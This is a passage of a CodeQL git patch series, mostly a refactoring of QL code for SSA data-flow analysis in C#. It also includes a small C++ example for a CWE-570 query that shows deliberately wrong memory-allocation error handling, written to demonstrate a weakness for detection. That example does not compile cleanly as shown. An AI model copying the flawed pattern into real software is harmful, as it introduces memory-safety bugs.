`bb1` dominates a predecessor of `bb2`. */ - private predicate dominatesPredecessor(BasicBlock bb1, BasicBlock bb2) { - exists(BasicBlock pred | pred = getABasicBlockPredecessor(bb2) | - bb1 = pred - or - strictlyDominates(bb1, pred) - ) - } - - /** Holds if `df` is in the dominance frontier of `bb`. */ - private predicate inDominanceFrontier(BasicBlock bb, BasicBlock df) { - dominatesPredecessor(bb, df) and - not strictlyDominates(bb, df) } /** - * Holds if `bb` is in the dominance frontier of a block containing a - * definition of `v`. + * Holds if the `i`th node of basic block `bb` is a reference to `v`, + * either a read (when `k` is `SsaRead()`) or an SSA definition (when `k` + * is `SsaDef()`). + * + * Unlike `Liveness::ref`, this includes `phi` nodes. */ - pragma[noinline] - private predicate inDefDominanceFrontier(BasicBlock bb, SourceVariable v) { - exists(BasicBlock defbb, Definition def | - def.definesAt(v, defbb, _) and - inDominanceFrontier(defbb, bb) - ) - } - - cached - newtype TDefinition = - TWriteDef(SourceVariable v, BasicBlock bb, int i) { - variableWrite(bb, i, v, _) and - liveAfterWrite(bb, i, v) - } or - TPhiNode(SourceVariable v, BasicBlock bb) { - inDefDominanceFrontier(bb, v) and - liveAtEntry(bb, v) - } - - private module SsaDefReaches { - newtype TSsaRefKind = - SsaRead() or - SsaDef() - - /** - * A classification of SSA variable references into reads and definitions. - */ - class SsaRefKind extends TSsaRefKind { - string toString() { - this = SsaRead() and - result = "SsaRead" - or - this = SsaDef() and - result = "SsaDef" - } - - int getOrder() { - this = SsaRead() and - result = 0 - or - this = SsaDef() and - result = 1 - } - } - - /** - * Holds if the `i`th node of basic block `bb` is a reference to `v`, - * either a read (when `k` is `SsaRead()`) or an SSA definition (when `k` - * is `SsaDef()`). - * - * Unlike `Liveness::ref`, this includes `phi` nodes. - */ - predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - variableRead(bb, i, v) and - k = SsaRead() - or - exists(Definition def | def.definesAt(v, bb, i)) and - k = SsaDef() - } - - private newtype OrderedSsaRefIndex = - MkOrderedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } - - private OrderedSsaRefIndex ssaRefOrd( - BasicBlock bb, int i, SourceVariable v, SsaRefKind k, int ord - ) { - ssaRef(bb, i, v, k) and - result = MkOrderedSsaRefIndex(i, k) and - ord = k.getOrder() - } - - /** - * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic - * block `bb`, which has the given reference kind `k`. - * - * For example, if `bb` is a basic block with a phi node for `v` (considered - * to be at index -1), reads `v` at node 2, and defines it at node 5, we have: - * - * ```ql - * ssaRefRank(bb, -1, v, SsaDef()) = 1 // phi node - * ssaRefRank(bb, 2, v, Read()) = 2 // read at node 2 - * ssaRefRank(bb, 5, v, SsaDef()) = 3 // definition at node 5 - * ``` - * - * Reads are considered before writes when they happen at the same index. - */ - int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { - ssaRefOrd(bb, i, v, k, _) = - rank[result](int j, int ord, OrderedSsaRefIndex res | - res = ssaRefOrd(bb, j, v, _, ord) - | - res order by j, ord - ) - } - - int maxSsaRefRank(BasicBlock bb, SourceVariable v) { - result = ssaRefRank(bb, _, v, _) and - not result + 1 = ssaRefRank(bb, _, v, _) - } - - /** - * Holds if the SSA definition `def` reaches rank index `rnk` in its own - * basic block `bb`. - */ - predicate ssaDefReachesRank(BasicBlock bb, Definition def, int rnk, SourceVariable v) { - exists(int i | - rnk = ssaRefRank(bb, i, v, SsaDef()) and - def.definesAt(v, bb, i) - ) - or - ssaDefReachesRank(bb, def, rnk - 1, v) and - rnk = ssaRefRank(bb, _, v, SsaRead()) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches index `i` in the same - * basic block `bb`, without crossing another SSA definition of `v`. - */ - predicate ssaDefReachesReadWithinBlock(SourceVariable v, Definition def, BasicBlock bb, int i) { - exists(int rnk | - ssaDefReachesRank(bb, def, rnk, v) and - rnk = ssaRefRank(bb, i, v, SsaRead()) and - variableRead(bb, i, v) - ) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition - * `redef` in the same basic block, without crossing another SSA definition of `v`. - */ - predicate ssaDefReachesUncertainDefWithinBlock( - SourceVariable v, Definition def, UncertainWriteDefinition redef - ) { - exists(BasicBlock bb, int rnk, int i | - ssaDefReachesRank(bb, def, rnk, v) and - rnk = ssaRefRank(bb, i, v, SsaDef()) - 1 and - redef.definesAt(v, bb, i) - ) - } - - /** - * Same as `ssaRefRank()`, but restricted to a particular SSA definition `def`. - */ - int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k) { - v = def.getSourceVariable() and - result = ssaRefRank(bb, i, v, k) and - ( - ssaDefReachesRead(_, def, bb, i) - or - def.definesAt(_, bb, i) - ) - } - - predicate defOccursInBlock(Definition def, BasicBlock bb, SourceVariable v) { - exists(ssaDefRank(def, v, bb, _, _)) - } - - pragma[noinline] - private BasicBlock getAMaybeLiveSuccessor(Definition def, BasicBlock bb) { - result = getABasicBlockSuccessor(bb) and - not defOccursInBlock(_, bb, def.getSourceVariable()) and - ssaDefReachesEndOfBlock(bb, def, _) - } - - /** - * Holds if `def` is accessed in basic block `bb1` (either a read or a write), - * `bb2` is a transitive successor of `bb1`, `def` is live at the end of `bb1`, - * and the underlying variable for `def` is neither read nor written in any block - * on the path between `bb1` and `bb2`. - */ - predicate varBlockReaches(Definition def, BasicBlock bb1, BasicBlock bb2) { - defOccursInBlock(def, bb1, _) and - bb2 = getABasicBlockSuccessor(bb1) - or - exists(BasicBlock mid | varBlockReaches(def, bb1, mid) | - bb2 = getAMaybeLiveSuccessor(def, mid) - ) - } - - /** - * Holds if `def` is accessed in basic block `bb1` (either a read or a write), - * `def` is read at index `i2` in basic block `bb2`, `bb2` is in a transitive - * successor block of `bb1`, and `def` is neither read nor written in any block - * on a path between `bb1` and `bb2`. - */ - predicate defAdjacentRead(Definition def, BasicBlock bb1, BasicBlock bb2, int i2) { - varBlockReaches(def, bb1, bb2) and - ssaRefRank(bb2, i2, def.getSourceVariable(), SsaRead()) = 1 and - variableRead(bb2, i2, _) - } - } - - private import SsaDefReaches - - pragma[noinline] - private predicate ssaDefReachesEndOfBlockRec(BasicBlock bb, Definition def, SourceVariable v) { - exists(BasicBlock idom | ssaDefReachesEndOfBlock(idom, def, v) | - // The construction of SSA form ensures that each read of a variable is - // dominated by its definition. An SSA definition therefore reaches a - // control flow node if it is the _closest_ SSA definition that dominates - // the node. If two definitions dominate a node then one must dominate the - // other, so therefore the definition of _closest_ is given by the dominator - // tree. Thus, reaching definitions can be calculated in terms of dominance. - idom = getImmediateBasicBlockDominator(bb) - ) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches the end of basic - * block `bb`, at which point it is still live, without crossing another - * SSA definition of `v`. - */ - cached - predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { - exists(int last | last = maxSsaRefRank(bb, v) | - ssaDefReachesRank(bb, def, last, v) and - liveAtExit(bb, v) - ) - or - ssaDefReachesEndOfBlockRec(bb, def, v) and - liveAtExit(bb, v) and - not ssaRef(bb, _, v, SsaDef()) - } - - /** - * Holds if the SSA definition of `v` at `def` reaches a read at index `i` in - * basic block `bb`, without crossing another SSA definition of `v`. The read - * is of kind `rk`. - */ - cached - predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int i) { - ssaDefReachesReadWithinBlock(v, def, bb, i) - or + predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { variableRead(bb, i, v) and - ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and - not ssaDefReachesReadWithinBlock(v, _, bb, i) + k = SsaRead() + or + exists(Definition def | def.definesAt(v, bb, i)) and + k = SsaDef() + } + + private newtype OrderedSsaRefIndex = + MkOrderedSsaRefIndex(int i, SsaRefKind k) { ssaRef(_, i, _, k) } + + private OrderedSsaRefIndex ssaRefOrd(BasicBlock bb, int i, SourceVariable v, SsaRefKind k, int ord) { + ssaRef(bb, i, v, k) and + result = MkOrderedSsaRefIndex(i, k) and + ord = k.getOrder() + } + + /** + * Gets the (1-based) rank of the reference to `v` at the `i`th node of basic + * block `bb`, which has the given reference kind `k`. + * + * For example, if `bb` is a basic block with a phi node for `v` (considered + * to be at index -1), reads `v` at node 2, and defines it at node 5, we have: + * + * ```ql + * ssaRefRank(bb, -1, v, SsaDef()) = 1 // phi node + * ssaRefRank(bb, 2, v, Read()) = 2 // read at node 2 + * ssaRefRank(bb, 5, v, SsaDef()) = 3 // definition at node 5 + * ``` + * + * Reads are considered before writes when they happen at the same index. + */ + int ssaRefRank(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { + ssaRefOrd(bb, i, v, k, _) = + rank[result](int j, int ord, OrderedSsaRefIndex res | + res = ssaRefOrd(bb, j, v, _, ord) + | + res order by j, ord + ) + } + + int maxSsaRefRank(BasicBlock bb, SourceVariable v) { + result = ssaRefRank(bb, _, v, _) and + not result + 1 = ssaRefRank(bb, _, v, _) + } + + /** + * Holds if the SSA definition `def` reaches rank index `rnk` in its own + * basic block `bb`. + */ + predicate ssaDefReachesRank(BasicBlock bb, Definition def, int rnk, SourceVariable v) { + exists(int i | + rnk = ssaRefRank(bb, i, v, SsaDef()) and + def.definesAt(v, bb, i) + ) + or + ssaDefReachesRank(bb, def, rnk - 1, v) and + rnk = ssaRefRank(bb, _, v, SsaRead()) + } + + /** + * Holds if the SSA definition of `v` at `def` reaches index `i` in the same + * basic block `bb`, without crossing another SSA definition of `v`. + */ + predicate ssaDefReachesReadWithinBlock(SourceVariable v, Definition def, BasicBlock bb, int i) { + exists(int rnk | + ssaDefReachesRank(bb, def, rnk, v) and + rnk = ssaRefRank(bb, i, v, SsaRead()) and + variableRead(bb, i, v) + ) } /** * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition - * `redef` without crossing another SSA definition of `v`. + * `redef` in the same basic block, without crossing another SSA definition of `v`. */ - cached - predicate ssaDefReachesUncertainDef( + predicate ssaDefReachesUncertainDefWithinBlock( SourceVariable v, Definition def, UncertainWriteDefinition redef ) { - ssaDefReachesUncertainDefWithinBlock(v, def, redef) - or - exists(BasicBlock bb | - redef.definesAt(v, bb, _) and - ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and - not ssaDefReachesUncertainDefWithinBlock(v, _, redef) + exists(BasicBlock bb, int rnk, int i | + ssaDefReachesRank(bb, def, rnk, v) and + rnk = ssaRefRank(bb, i, v, SsaDef()) - 1 and + redef.definesAt(v, bb, i) ) } /** - * Holds if `def` is accessed at index `i1` in basic block `bb1` (either a read - * or a write), `def` is read at index `i2` in basic block `bb2`, and there is a - * path between them without any read of `def`. + * Same as `ssaRefRank()`, but restricted to a particular SSA definition `def`. */ - cached - predicate adjacentDefRead(Definition def, BasicBlock bb1, int i1, BasicBlock bb2, int i2) { - exists(int rnk | - rnk = ssaDefRank(def, _, bb1, i1, _) and - rnk + 1 = ssaDefRank(def, _, bb1, i2, SsaRead()) and - variableRead(bb1, i2, _) and - bb2 = bb1 - ) - or - exists(SourceVariable v | ssaDefRank(def, v, bb1, i1, _) = maxSsaRefRank(bb1, v)) and - defAdjacentRead(def, bb1, bb2, i2) - } - - /** - * Holds if the node at index `i` in `bb` is a last reference to SSA definition - * `def`. The reference is last because it can reach another write `next`, - * without passing through another read or write. - */ - cached - predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { - exists(int rnk, SourceVariable v, int j | rnk = ssaDefRank(def, v, bb, i, _) | - // Next reference to `v` inside `bb` is a write - next.definesAt(v, bb, j) and - rnk + 1 = ssaRefRank(bb, j, v, SsaDef()) + int ssaDefRank(Definition def, SourceVariable v, BasicBlock bb, int i, SsaRefKind k) { + v = def.getSourceVariable() and + result = ssaRefRank(bb, i, v, k) and + ( + ssaDefReachesRead(_, def, bb, i) or - // Can reach a write using one or more steps - rnk = maxSsaRefRank(bb, v) and - exists(BasicBlock bb2 | - varBlockReaches(def, bb, bb2) and - next.definesAt(v, bb2, j) and - 1 = ssaRefRank(bb2, j, v, SsaDef()) - ) + def.definesAt(_, bb, i) ) } + predicate defOccursInBlock(Definition def, BasicBlock bb, SourceVariable v) { + exists(ssaDefRank(def, v, bb, _, _)) + } + + pragma[noinline] + private BasicBlock getAMaybeLiveSuccessor(Definition def, BasicBlock bb) { + result = getABasicBlockSuccessor(bb) and + not defOccursInBlock(_, bb, def.getSourceVariable()) and + ssaDefReachesEndOfBlock(bb, def, _) + } + /** - * Holds if the node at index `i` in `bb` is a last reference to SSA - * definition `def`. - * - * That is, the node can reach the end of the enclosing callable, or another - * SSA definition for the underlying source variable, without passing through - * another read. + * Holds if `def` is accessed in basic block `bb1` (either a read or a write), + * `bb2` is a transitive successor of `bb1`, `def` is live at the end of `bb1`, + * and the underlying variable for `def` is neither read nor written in any block + * on the path between `bb1` and `bb2`. */ - cached - predicate lastRef(Definition def, BasicBlock bb, int i) { - lastRefRedef(def, bb, i, _) + predicate varBlockReaches(Definition def, BasicBlock bb1, BasicBlock bb2) { + defOccursInBlock(def, bb1, _) and + bb2 = getABasicBlockSuccessor(bb1) or - exists(SourceVariable v | ssaDefRank(def, v, bb, i, _) = maxSsaRefRank(bb, v) | - // Can reach exit directly - bb instanceof ExitBasicBlock - or - // Can reach a block using one or more steps, where `def` is no longer live - exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | - not defOccursInBlock(def, bb2, _) and - not ssaDefReachesEndOfBlock(bb2, def, _) - ) - ) + exists(BasicBlock mid | varBlockReaches(def, bb1, mid) | bb2 = getAMaybeLiveSuccessor(def, mid)) + } + + /** + * Holds if `def` is accessed in basic block `bb1` (either a read or a write), + * `def` is read at index `i2` in basic block `bb2`, `bb2` is in a transitive + * successor block of `bb1`, and `def` is neither read nor written in any block + * on a path between `bb1` and `bb2`. + */ + predicate defAdjacentRead(Definition def, BasicBlock bb1, BasicBlock bb2, int i2) { + varBlockReaches(def, bb1, bb2) and + ssaRefRank(bb2, i2, def.getSourceVariable(), SsaRead()) = 1 and + variableRead(bb2, i2, _) } } -import Cached +private import SsaDefReaches + +pragma[noinline] +private predicate ssaDefReachesEndOfBlockRec(BasicBlock bb, Definition def, SourceVariable v) { + exists(BasicBlock idom | ssaDefReachesEndOfBlock(idom, def, v) | + // The construction of SSA form ensures that each read of a variable is + // dominated by its definition. An SSA definition therefore reaches a + // control flow node if it is the _closest_ SSA definition that dominates + // the node. If two definitions dominate a node then one must dominate the + // other, so therefore the definition of _closest_ is given by the dominator + // tree. Thus, reaching definitions can be calculated in terms of dominance. + idom = getImmediateBasicBlockDominator(bb) + ) +} + +/** + * Holds if the SSA definition of `v` at `def` reaches the end of basic + * block `bb`, at which point it is still live, without crossing another + * SSA definition of `v`. + */ +cached +predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { + exists(int last | last = maxSsaRefRank(bb, v) | + ssaDefReachesRank(bb, def, last, v) and + liveAtExit(bb, v) + ) + or + ssaDefReachesEndOfBlockRec(bb, def, v) and + liveAtExit(bb, v) and + not ssaRef(bb, _, v, SsaDef()) +} + +/** + * Holds if the SSA definition of `v` at `def` reaches a read at index `i` in + * basic block `bb`, without crossing another SSA definition of `v`. The read + * is of kind `rk`. + */ +cached +predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int i) { + ssaDefReachesReadWithinBlock(v, def, bb, i) + or + variableRead(bb, i, v) and + ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and + not ssaDefReachesReadWithinBlock(v, _, bb, i) +} + +/** + * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition + * `redef` without crossing another SSA definition of `v`. + */ +cached +predicate ssaDefReachesUncertainDef(SourceVariable v, Definition def, UncertainWriteDefinition redef) { + ssaDefReachesUncertainDefWithinBlock(v, def, redef) + or + exists(BasicBlock bb | + redef.definesAt(v, bb, _) and + ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and + not ssaDefReachesUncertainDefWithinBlock(v, _, redef) + ) +} + +/** + * Holds if `def` is accessed at index `i1` in basic block `bb1` (either a read + * or a write), `def` is read at index `i2` in basic block `bb2`, and there is a + * path between them without any read of `def`. + */ +cached +predicate adjacentDefRead(Definition def, BasicBlock bb1, int i1, BasicBlock bb2, int i2) { + exists(int rnk | + rnk = ssaDefRank(def, _, bb1, i1, _) and + rnk + 1 = ssaDefRank(def, _, bb1, i2, SsaRead()) and + variableRead(bb1, i2, _) and + bb2 = bb1 + ) + or + exists(SourceVariable v | ssaDefRank(def, v, bb1, i1, _) = maxSsaRefRank(bb1, v)) and + defAdjacentRead(def, bb1, bb2, i2) +} + +/** + * Holds if the node at index `i` in `bb` is a last reference to SSA definition + * `def`. The reference is last because it can reach another write `next`, + * without passing through another read or write. + */ +cached +predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { + exists(int rnk, SourceVariable v, int j | rnk = ssaDefRank(def, v, bb, i, _) | + // Next reference to `v` inside `bb` is a write + next.definesAt(v, bb, j) and + rnk + 1 = ssaRefRank(bb, j, v, SsaDef()) + or + // Can reach a write using one or more steps + rnk = maxSsaRefRank(bb, v) and + exists(BasicBlock bb2 | + varBlockReaches(def, bb, bb2) and + next.definesAt(v, bb2, j) and + 1 = ssaRefRank(bb2, j, v, SsaDef()) + ) + ) +} + +/** + * Holds if the node at index `i` in `bb` is a last reference to SSA + * definition `def`. + * + * That is, the node can reach the end of the enclosing callable, or another + * SSA definition for the underlying source variable, without passing through + * another read. + */ +cached +predicate lastRef(Definition def, BasicBlock bb, int i) { + lastRefRedef(def, bb, i, _) + or + exists(SourceVariable v | ssaDefRank(def, v, bb, i, _) = maxSsaRefRank(bb, v) | + // Can reach exit directly + bb instanceof ExitBasicBlock + or + // Can reach a block using one or more steps, where `def` is no longer live + exists(BasicBlock bb2 | varBlockReaches(def, bb, bb2) | + not defOccursInBlock(def, bb2, _) and + not ssaDefReachesEndOfBlock(bb2, def, _) + ) + ) +} /** A static single assignment (SSA) definition. */ class Definition extends TDefinition { From bdbf5a4fae29511be7d64039847a1a70a7e61545 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Fri, 29 Jan 2021 13:41:45 +0300 Subject: [PATCH 0913/1241] Apply suggestions from code review Co-authored-by: Geoffrey White <40627776+geoffw0@users.noreply.github.com> --- .../WrongInDetectingAndHandlingMemoryAllocationErrors.cpp | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp index 0232fc131eb..df69886e97b 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-570/WrongInDetectingAndHandlingMemoryAllocationErrors.cpp @@ -8,7 +8,9 @@ void badFunction(const int *source, std::size_t length) noexcept { void goodFunction(const int *source, std::size_t length) noexcept { try { int * dest = new int[length]; - } catch(std::bad_alloc) + } catch(std::bad_alloc) { + // ... + } std::memset(dest, 0, length); // .. } @@ -16,7 +18,9 @@ void goodFunction(const int *source, std::size_t length) noexcept { void badFunction(const int *source, std::size_t length) noexcept { try { int * dest = new (std::nothrow) int[length]; - } catch(std::bad_alloc) + } catch(std::bad_alloc) { + // ... + } std::memset(dest, 0, length); // .. } From bf5851f1c29b4e61583ac5612b364c011e70a456 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Fri, 29 Jan 2021 11:42:52 +0100 Subject: [PATCH 0914/1241] C#: Reduce caching in `SsaImplCommon.qll` --- .../src/semmle/code/csharp/dataflow/SSA.qll | 17 ++-- .../code/csharp/dataflow/internal/SsaImpl.qll | 17 +++- .../dataflow/internal/SsaImplCommon.qll | 89 +++++++++---------- 3 files changed, 67 insertions(+), 56 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index c3e645205de..0bd7e848639 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -176,6 +176,16 @@ module Ssa { exists(ControlFlow::BasicBlock bb, int i | this.definesAt(_, bb, i) | result = bb.getNode(i)) } + /** + * Holds is this SSA definition is live at the end of basic block `bb`. + * That is, this definition reaches the end of basic block `bb`, at which + * point it is still live, without crossing another SSA definition of the + * same source variable. + */ + final predicate isLiveAtEndOfBlock(ControlFlow::BasicBlock bb) { + SsaImpl::isLiveAtEndOfBlock(this, bb) + } + /** * Gets a read of the source variable underlying this SSA definition that * can be reached from this SSA definition without passing through any @@ -233,12 +243,7 @@ module Ssa { * node between lines 9 and 10. */ final AssignableRead getAReadAtNode(ControlFlow::Node cfn) { - exists(SourceVariable v, ControlFlow::BasicBlock bb, int i | - SsaImpl::ssaDefReachesRead(v, this, bb, i) and - SsaImpl::variableReadActual(bb, i, v) and - cfn = bb.getNode(i) and - result.getAControlFlowNode() = cfn - ) + result = SsaImpl::getAReadAtNode(this, cfn) } /** diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll index 3014e33a63b..d51122ef568 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -8,7 +8,7 @@ import SsaImplCommon /** * Holds if the `i`th node of basic block `bb` reads source variable `v`. */ -predicate variableReadActual(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v) { +private predicate variableReadActual(ControlFlow::BasicBlock bb, int i, Ssa::SourceVariable v) { v.getAnAccess().(AssignableRead) = bb.getNode(i).getElement() } @@ -1102,6 +1102,11 @@ private module Cached { ) } + cached + predicate isLiveAtEndOfBlock(Definition def, ControlFlow::BasicBlock bb) { + ssaDefReachesEndOfBlock(bb, def, _) + } + private predicate adjacentDefReaches( Definition def, ControlFlow::BasicBlock bb1, int i1, ControlFlow::BasicBlock bb2, int i2 ) { @@ -1122,6 +1127,16 @@ private module Cached { variableReadActual(bb2, i2, _) } + cached + AssignableRead getAReadAtNode(Definition def, ControlFlow::Node cfn) { + exists(Ssa::SourceVariable v, ControlFlow::BasicBlock bb, int i | + ssaDefReachesRead(v, def, bb, i) and + variableReadActual(bb, i, v) and + cfn = bb.getNode(i) and + result.getAControlFlowNode() = cfn + ) + } + /** * Holds if the value defined at SSA definition `def` can reach a read at `cfn`, * without passing through any other read. diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll index ff85b324012..f4cb01f7a97 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/internal/SsaImplCommon.qll @@ -174,16 +174,35 @@ private predicate inDefDominanceFrontier(BasicBlock bb, SourceVariable v) { } cached -newtype TDefinition = - TWriteDef(SourceVariable v, BasicBlock bb, int i) { - variableWrite(bb, i, v, _) and - liveAfterWrite(bb, i, v) - } or - TPhiNode(SourceVariable v, BasicBlock bb) { - inDefDominanceFrontier(bb, v) and - liveAtEntry(bb, v) +private module Cached { + cached + newtype TDefinition = + TWriteDef(SourceVariable v, BasicBlock bb, int i) { + variableWrite(bb, i, v, _) and + liveAfterWrite(bb, i, v) + } or + TPhiNode(SourceVariable v, BasicBlock bb) { + inDefDominanceFrontier(bb, v) and + liveAtEntry(bb, v) + } + + cached + predicate uncertainWriteDefinitionInput(UncertainWriteDefinition def, Definition inp) { + lastRefRedef(inp, _, _, def) } + cached + predicate phiHasInputFromBlock(PhiNode phi, Definition inp, BasicBlock bb) { + exists(SourceVariable v, BasicBlock bbDef | + phi.definesAt(v, bbDef, _) and + getABasicBlockPredecessor(bbDef) = bb and + ssaDefReachesEndOfBlock(bb, inp, v) + ) + } +} + +import Cached + private module SsaDefReaches { newtype TSsaRefKind = SsaRead() or @@ -369,11 +388,12 @@ private predicate ssaDefReachesEndOfBlockRec(BasicBlock bb, Definition def, Sour } /** + * NB: If this predicate is exposed, it should be cached. + * * Holds if the SSA definition of `v` at `def` reaches the end of basic * block `bb`, at which point it is still live, without crossing another * SSA definition of `v`. */ -cached predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable v) { exists(int last | last = maxSsaRefRank(bb, v) | ssaDefReachesRank(bb, def, last, v) and @@ -386,11 +406,12 @@ predicate ssaDefReachesEndOfBlock(BasicBlock bb, Definition def, SourceVariable } /** + * NB: If this predicate is exposed, it should be cached. + * * Holds if the SSA definition of `v` at `def` reaches a read at index `i` in * basic block `bb`, without crossing another SSA definition of `v`. The read * is of kind `rk`. */ -cached predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int i) { ssaDefReachesReadWithinBlock(v, def, bb, i) or @@ -400,26 +421,12 @@ predicate ssaDefReachesRead(SourceVariable v, Definition def, BasicBlock bb, int } /** - * Holds if the SSA definition of `v` at `def` reaches uncertain SSA definition - * `redef` without crossing another SSA definition of `v`. - */ -cached -predicate ssaDefReachesUncertainDef(SourceVariable v, Definition def, UncertainWriteDefinition redef) { - ssaDefReachesUncertainDefWithinBlock(v, def, redef) - or - exists(BasicBlock bb | - redef.definesAt(v, bb, _) and - ssaDefReachesEndOfBlock(getABasicBlockPredecessor(bb), def, v) and - not ssaDefReachesUncertainDefWithinBlock(v, _, redef) - ) -} - -/** + * NB: If this predicate is exposed, it should be cached. + * * Holds if `def` is accessed at index `i1` in basic block `bb1` (either a read * or a write), `def` is read at index `i2` in basic block `bb2`, and there is a * path between them without any read of `def`. */ -cached predicate adjacentDefRead(Definition def, BasicBlock bb1, int i1, BasicBlock bb2, int i2) { exists(int rnk | rnk = ssaDefRank(def, _, bb1, i1, _) and @@ -433,11 +440,12 @@ predicate adjacentDefRead(Definition def, BasicBlock bb1, int i1, BasicBlock bb2 } /** + * NB: If this predicate is exposed, it should be cached. + * * Holds if the node at index `i` in `bb` is a last reference to SSA definition * `def`. The reference is last because it can reach another write `next`, * without passing through another read or write. */ -cached predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { exists(int rnk, SourceVariable v, int j | rnk = ssaDefRank(def, v, bb, i, _) | // Next reference to `v` inside `bb` is a write @@ -455,6 +463,8 @@ predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { } /** + * NB: If this predicate is exposed, it should be cached. + * * Holds if the node at index `i` in `bb` is a last reference to SSA * definition `def`. * @@ -462,7 +472,6 @@ predicate lastRefRedef(Definition def, BasicBlock bb, int i, Definition next) { * SSA definition for the underlying source variable, without passing through * another read. */ -cached predicate lastRef(Definition def, BasicBlock bb, int i) { lastRefRedef(def, bb, i, _) or @@ -483,14 +492,6 @@ class Definition extends TDefinition { /** Gets the source variable underlying this SSA definition. */ SourceVariable getSourceVariable() { this.definesAt(result, _, _) } - /** - * Holds is this SSA definition is live at the end of basic block `bb`. - * That is, this definition reaches the end of basic block `bb`, at which - * point it is still live, without crossing another SSA definition of the - * same source variable. - */ - final predicate isLiveAtEndOfBlock(BasicBlock bb) { ssaDefReachesEndOfBlock(bb, this, _) } - /** * Holds if this SSA definition defines `v` at index `i` in basic block `bb`. * Phi nodes are considered to be at index `-1`, while normal variable writes @@ -541,20 +542,10 @@ class WriteDefinition extends Definition, TWriteDef { /** A phi node. */ class PhiNode extends Definition, TPhiNode { /** Gets an input of this phi node. */ - Definition getAnInput() { - exists(BasicBlock bb, BasicBlock pred, SourceVariable v | - this.definesAt(v, bb, _) and - getABasicBlockPredecessor(bb) = pred and - ssaDefReachesEndOfBlock(pred, result, v) - ) - } + Definition getAnInput() { this.hasInputFromBlock(result, _) } /** Holds if `inp` is an input to the phi node along the edge originating in `bb`. */ - predicate hasInputFromBlock(Definition inp, BasicBlock bb) { - inp = this.getAnInput() and - getABasicBlockPredecessor(this.getBasicBlock()) = bb and - ssaDefReachesEndOfBlock(bb, inp, _) - } + predicate hasInputFromBlock(Definition inp, BasicBlock bb) { phiHasInputFromBlock(this, inp, bb) } override string toString() { result = "Phi" } } @@ -575,5 +566,5 @@ class UncertainWriteDefinition extends WriteDefinition { * Gets the immediately preceding definition. Since this update is uncertain, * the value from the preceding definition might still be valid. */ - Definition getPriorDefinition() { ssaDefReachesUncertainDef(_, result, this) } + Definition getPriorDefinition() { uncertainWriteDefinitionInput(this, result) } } From 191962f64c6ac49134b388a755d5237cfc1f305e Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 29 Jan 2021 12:01:38 +0100 Subject: [PATCH 0915/1241] C#: Add data flow 'getARuntimeTarget' predicate to 'FunctionPointerCall' --- .../internal/FunctionPointerDataFlow.qll | 205 ++++++++++++++++++ .../ql/src/semmle/code/csharp/exprs/Call.qll | 17 ++ .../functionpointers/FunctionPointerFlow.cs | 83 +++++++ .../FunctionPointerFlow.expected | 9 + .../functionpointers/FunctionPointerFlow.ql | 5 + 5 files changed, 319 insertions(+) create mode 100755 csharp/ql/src/semmle/code/csharp/dataflow/internal/FunctionPointerDataFlow.qll create mode 100644 csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.cs create mode 100644 csharp/ql/test/library-tests/dataflow/functionpointers/FunctionPointerFlow.expected create mode 100644 